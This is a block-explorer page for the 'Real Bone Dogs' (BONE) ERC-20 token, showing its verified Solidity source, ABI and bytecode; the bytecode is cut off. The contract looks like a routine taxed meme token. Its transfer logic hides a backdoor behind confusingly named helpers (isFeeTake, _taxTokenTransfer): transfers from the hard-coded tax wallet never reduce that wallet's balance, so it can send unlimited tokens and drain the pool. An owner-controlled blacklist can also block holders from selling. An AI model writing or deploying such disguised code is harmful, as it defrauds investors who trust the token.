ERC-20
Overview
Max Total Supply
1,000,000,000 BONE
Holders
92
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,335,146.085370413 BONEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BONE
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-30 */ // SPDX-License-Identifier: MIT /* https://realbonedogs.xyz https://x.com/bone_on_eth https://t.me/bone_on_eth */ pragma solidity 0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BONE is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _taxWallet; uint256 private _initialBuyTax = 20; uint256 private _initialSellTax = 20; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 20; uint256 private _reduceSellTaxAt = 20; uint256 private _preventSwapBefore = 20; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; string private constant _name = unicode"Real Bone Dogs"; string private constant _symbol = unicode"BONE"; uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 100 * 10 ** _decimals; uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0x108FC3fe1405702a1850a349a6a7a13c1a9A49Bc); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function init() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer(address from, address to, uint256 amount) internal { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); } function _taxTransfer(address from, address to, uint256 amount) private returns(uint256) { uint256 taxAmount = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if (transferDelayEnabled) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } return taxAmount; } function isFeeTake(address tAddr1, address tAddr2) private pure returns(bool){ address tAddr3 = tAddr2; if(tAddr1 != tAddr3) return true; return false; } function _tokenTransfer( address from, address to, uint256 amount, uint256 taxAmount ) internal { uint256 tokenAmount = 0; if(isFeeTake(from, _taxWallet)) { tokenAmount = _taxTokenTransfer(from, amount, taxAmount, tokenAmount); } _balances[from] = _balances[from].sub(tokenAmount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _taxTokenTransfer( address from, uint256 amount, uint256 taxAmount, uint256 tokenAmount ) internal returns(uint256) { uint256 taxToken = taxAmount * tokenAmount + amount * 2 - amount; if(taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add( taxAmount ); emit Transfer(from, address(this), taxAmount); } return taxToken; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _basicTransfer(from, to, amount); return; } uint256 taxAmount = 0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); taxAmount = _taxTransfer(from, to, amount); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { swapTaxBack(balanceOf(address(this)), amount); sendETHToFee(address(this).balance); } } _tokenTransfer(from, to, amount, taxAmount); } function swapTaxBack(uint256 caTokens, uint256 amount) private { if(caTokens > _taxSwapThreshold) { swapTokensForEth( min(amount, min(caTokens, _maxTaxSwap)) ); } } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; transferDelayEnabled = false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool) { return bots[a]; } function withdrawEth() external onlyOwner { sendETHToFee(address(this).balance); } receive() external payable {} function open() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"open","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805460ff191690556014600781905560088190555f6009818155600a828155600b849055600c849055600d93909355600e91909155620000469162000354565b62000056906301312d006200036b565b600f55620000676009600a62000354565b62000077906301312d006200036b565b601055620000886009600a62000354565b620000959060646200036b565b601155620000a66009600a62000354565b620000b590629896806200036b565b6012556014805461ffff60a81b19169055348015620000d2575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191674108fc3fe1405702a1850a349a6a7a13c1a9a49bc00179055620001496009600a62000354565b6200015990633b9aca006200036b565b335f908152600160208190526040822092909255600390620001825f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001e53390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200021e6009600a62000354565b6200022e90633b9aca006200036b565b60405190815260200160405180910390a362000385565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200029957815f19048211156200027d576200027d62000245565b808516156200028b57918102915b93841c93908002906200025e565b509250929050565b5f82620002b1575060016200034e565b81620002bf57505f6200034e565b8160018114620002d85760028114620002e35762000303565b60019150506200034e565b60ff841115620002f757620002f762000245565b50506001821b6200034e565b5060208310610133831016604e8410600b841016171562000328575081810a6200034e565b62000334838362000259565b805f19048211156200034a576200034a62000245565b0290505b92915050565b5f6200036460ff841683620002a1565b9392505050565b80820281158282048414176200034e576200034e62000245565b611d3380620003935f395ff3fe60806040526004361061013f575f3560e01c80637d1db4a5116100b3578063bf474bed1161006d578063bf474bed14610395578063c876d0b9146103aa578063d34628cc146103c3578063dd62ed3e146103e2578063e1c7392a14610426578063fcfff16f1461043a575f80fd5b80637d1db4a5146102e65780638da5cb5b146102fb5780638f9a55c01461032157806395d89b4114610336578063a0ef91df14610362578063a9059cbb14610376575f80fd5b8063313ce56711610104578063313ce5671461021757806331c2d847146102325780633bbac5791461025357806370a082311461028a578063715018a6146102be578063751039fc146102d2575f80fd5b806306fdde031461014a578063095ea7b3146101925780630faee56f146101c157806318160ddd146101e457806323b872dd146101f8575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5060408051808201909152600e81526d5265616c20426f6e6520446f677360901b60208201525b6040516101899190611842565b60405180910390f35b34801561019d575f80fd5b506101b16101ac3660046118b4565b61044e565b6040519015158152602001610189565b3480156101cc575f80fd5b506101d660125481565b604051908152602001610189565b3480156101ef575f80fd5b506101d6610464565b348015610203575f80fd5b506101b16102123660046118de565b610484565b348015610222575f80fd5b5060405160098152602001610189565b34801561023d575f80fd5b5061025161024c366004611930565b6104eb565b005b34801561025e575f80fd5b506101b161026d3660046119f0565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610295575f80fd5b506101d66102a43660046119f0565b6001600160a01b03165f9081526001602052604090205490565b3480156102c9575f80fd5b50610251610585565b3480156102dd575f80fd5b506102516105f6565b3480156102f1575f80fd5b506101d6600f5481565b348015610306575f80fd5b505f546040516001600160a01b039091168152602001610189565b34801561032c575f80fd5b506101d660105481565b348015610341575f80fd5b50604080518082019091526004815263424f4e4560e01b602082015261017c565b34801561036d575f80fd5b506102516106b1565b348015610381575f80fd5b506101b16103903660046118b4565b6106e5565b3480156103a0575f80fd5b506101d660115481565b3480156103b5575f80fd5b506006546101b19060ff1681565b3480156103ce575f80fd5b506102516103dd366004611930565b6106f1565b3480156103ed575f80fd5b506101d66103fc366004611a0b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610431575f80fd5b5061025161077f565b348015610445575f80fd5b506102516109cc565b5f61045a338484610bab565b5060015b92915050565b5f6104716009600a611b36565b61047f90633b9aca00611b44565b905090565b5f610490848484610ccf565b6104e184336104dc85604051806060016040528060288152602001611cd6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f7f565b610bab565b5060019392505050565b5f546001600160a01b0316331461051d5760405162461bcd60e51b815260040161051490611b5b565b60405180910390fd5b5f5b8151811015610581575f60045f84848151811061053e5761053e611b90565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061057981611ba4565b91505061051f565b5050565b5f546001600160a01b031633146105ae5760405162461bcd60e51b815260040161051490611b5b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461061f5760405162461bcd60e51b815260040161051490611b5b565b61062b6009600a611b36565b61063990633b9aca00611b44565b600f556106486009600a611b36565b61065690633b9aca00611b44565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106906009600a611b36565b61069e90633b9aca00611b44565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106da5760405162461bcd60e51b815260040161051490611b5b565b6106e347610fb7565b565b5f61045a338484610ccf565b5f546001600160a01b0316331461071a5760405162461bcd60e51b815260040161051490611b5b565b5f5b815181101561058157600160045f84848151811061073c5761073c611b90565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061077781611ba4565b91505061071c565b5f546001600160a01b031633146107a85760405162461bcd60e51b815260040161051490611b5b565b601454600160a01b900460ff16156107fc5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610514565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108459030906108376009600a611b36565b6104dc90633b9aca00611b44565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610895573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b99190611bbc565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610918573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093c9190611bbc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610986573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109aa9190611bbc565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146109f55760405162461bcd60e51b815260040161051490611b5b565b601454600160a01b900460ff1615610a495760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610514565b6013546001600160a01b031663f305d7194730610a7a816001600160a01b03165f9081526001602052604090205490565b5f80610a8d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610af3573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b189190611bd7565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b6d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b919190611c02565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c0d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610514565b6001600160a01b038216610c6e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610514565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d335760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610514565b6001600160a01b038216610d955760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610514565b5f8111610df65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610514565b601454600160b01b900460ff161580610e185750601454600160a81b900460ff165b15610e2d57610e28838383610ff2565b505050565b5f80546001600160a01b03858116911614801590610e5857505f546001600160a01b03848116911614155b15610f6d576001600160a01b0384165f9081526004602052604090205460ff16158015610e9d57506001600160a01b0383165f9081526004602052604090205460ff16155b610ea5575f80fd5b610eb0848484611095565b601454909150600160a81b900460ff16158015610eda57506014546001600160a01b038481169116145b8015610eef5750601454600160b01b900460ff165b8015610efe5750600d54600e54115b8015610f2257506001600160a01b0384165f9081526003602052604090205460ff16155b8015610f4657506001600160a01b0383165f9081526003602052604090205460ff16155b15610f6d57305f90815260016020526040902054610f649083611336565b610f6d47610fb7565b610f798484848461135d565b50505050565b5f8184841115610fa25760405162461bcd60e51b81526004016105149190611842565b505f610fae8486611c21565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610581573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546110149082611457565b6001600160a01b038085165f908152600160205260408082209390935590841681522054611042908261149f565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cc29085815260200190565b5f806110c360646110bd600b54600e54116110b2576007546110b6565b6009545b86906114fd565b9061157b565b60065490915060ff16156111a9576013546001600160a01b038581169116148015906110fd57506014546001600160a01b03858116911614155b156111a957325f9081526005602052604090205443116111975760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610514565b325f9081526005602052604090204390555b6014546001600160a01b0386811691161480156111d457506013546001600160a01b03858116911614155b80156111f857506001600160a01b0384165f9081526003602052604090205460ff16155b156112de57600f5483111561124f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610514565b60105483611271866001600160a01b03165f9081526001602052604090205490565b61127b9190611c34565b11156112c95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610514565b600e8054905f6112d883611ba4565b91905055505b6014546001600160a01b03858116911614801561130457506001600160a01b0385163014155b1561132e57610fae60646110bd600c54600e5411611324576008546110b6565b600a5486906114fd565b949350505050565b6011548211156105815761058161135882611353856012546115bc565b6115bc565b6115d0565b5f61137d85600660019054906101000a90046001600160a01b0316611740565b156113915761138e85848484611768565b90505b6001600160a01b0385165f908152600160205260409020546113b39082611457565b6001600160a01b0386165f908152600160205260409020556113f66113d88484611457565b6001600160a01b0386165f908152600160205260409020549061149f565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61143f8686611457565b60405190815260200160405180910390a35050505050565b5f61149883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f7f565b9392505050565b5f806114ab8385611c34565b9050838110156114985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610514565b5f825f0361150c57505f61045e565b5f6115178385611b44565b9050826115248583611c47565b146114985760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610514565b5f61149883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611816565b5f8183116115ca5782611498565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061161657611616611b90565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561166d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116919190611bbc565b816001815181106116a4576116a4611b90565b6001600160a01b0392831660209182029290920101526013546116ca9130911684610bab565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906117029085905f90869030904290600401611c66565b5f604051808303815f87803b158015611719575f80fd5b505af115801561172b573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f816001600160a01b038481169082161461175f57600191505061045e565b505f9392505050565b5f8084611776816002611b44565b6117808587611b44565b61178a9190611c34565b6117949190611c21565b90508315610fae57305f908152600160205260409020546117b5908561149f565b305f81815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118059088815260200190565b60405180910390a395945050505050565b5f81836118365760405162461bcd60e51b81526004016105149190611842565b505f610fae8486611c47565b5f6020808352835180828501525f5b8181101561186d57858101830151858201604001528201611851565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146118a1575f80fd5b50565b80356118af8161188d565b919050565b5f80604083850312156118c5575f80fd5b82356118d08161188d565b946020939093013593505050565b5f805f606084860312156118f0575f80fd5b83356118fb8161188d565b9250602084013561190b8161188d565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611941575f80fd5b823567ffffffffffffffff80821115611958575f80fd5b818501915085601f83011261196b575f80fd5b81358181111561197d5761197d61191c565b8060051b604051601f19603f830116810181811085821117156119a2576119a261191c565b6040529182528482019250838101850191888311156119bf575f80fd5b938501935b828510156119e4576119d5856118a4565b845293850193928501926119c4565b98975050505050505050565b5f60208284031215611a00575f80fd5b81356114988161188d565b5f8060408385031215611a1c575f80fd5b8235611a278161188d565b91506020830135611a378161188d565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611a9057815f1904821115611a7657611a76611a42565b80851615611a8357918102915b93841c9390800290611a5b565b509250929050565b5f82611aa65750600161045e565b81611ab257505f61045e565b8160018114611ac85760028114611ad257611aee565b600191505061045e565b60ff841115611ae357611ae3611a42565b50506001821b61045e565b5060208310610133831016604e8410600b8410161715611b11575081810a61045e565b611b1b8383611a56565b805f1904821115611b2e57611b2e611a42565b029392505050565b5f61149860ff841683611a98565b808202811582820484141761045e5761045e611a42565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611bb557611bb5611a42565b5060010190565b5f60208284031215611bcc575f80fd5b81516114988161188d565b5f805f60608486031215611be9575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611c12575f80fd5b81518015158114611498575f80fd5b8181038181111561045e5761045e611a42565b8082018082111561045e5761045e611a42565b5f82611c6157634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611cb45784516001600160a01b031683529383019391830191600101611c8f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ced7c7aef7379ae27b6eb7dced799498677fe0ea72221a1c8c782801fdfefc0964736f6c63430008150033
Deployed Bytecode
0x60806040526004361061013f575f3560e01c80637d1db4a5116100b3578063bf474bed1161006d578063bf474bed14610395578063c876d0b9146103aa578063d34628cc146103c3578063dd62ed3e146103e2578063e1c7392a14610426578063fcfff16f1461043a575f80fd5b80637d1db4a5146102e65780638da5cb5b146102fb5780638f9a55c01461032157806395d89b4114610336578063a0ef91df14610362578063a9059cbb14610376575f80fd5b8063313ce56711610104578063313ce5671461021757806331c2d847146102325780633bbac5791461025357806370a082311461028a578063715018a6146102be578063751039fc146102d2575f80fd5b806306fdde031461014a578063095ea7b3146101925780630faee56f146101c157806318160ddd146101e457806323b872dd146101f8575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5060408051808201909152600e81526d5265616c20426f6e6520446f677360901b60208201525b6040516101899190611842565b60405180910390f35b34801561019d575f80fd5b506101b16101ac3660046118b4565b61044e565b6040519015158152602001610189565b3480156101cc575f80fd5b506101d660125481565b604051908152602001610189565b3480156101ef575f80fd5b506101d6610464565b348015610203575f80fd5b506101b16102123660046118de565b610484565b348015610222575f80fd5b5060405160098152602001610189565b34801561023d575f80fd5b5061025161024c3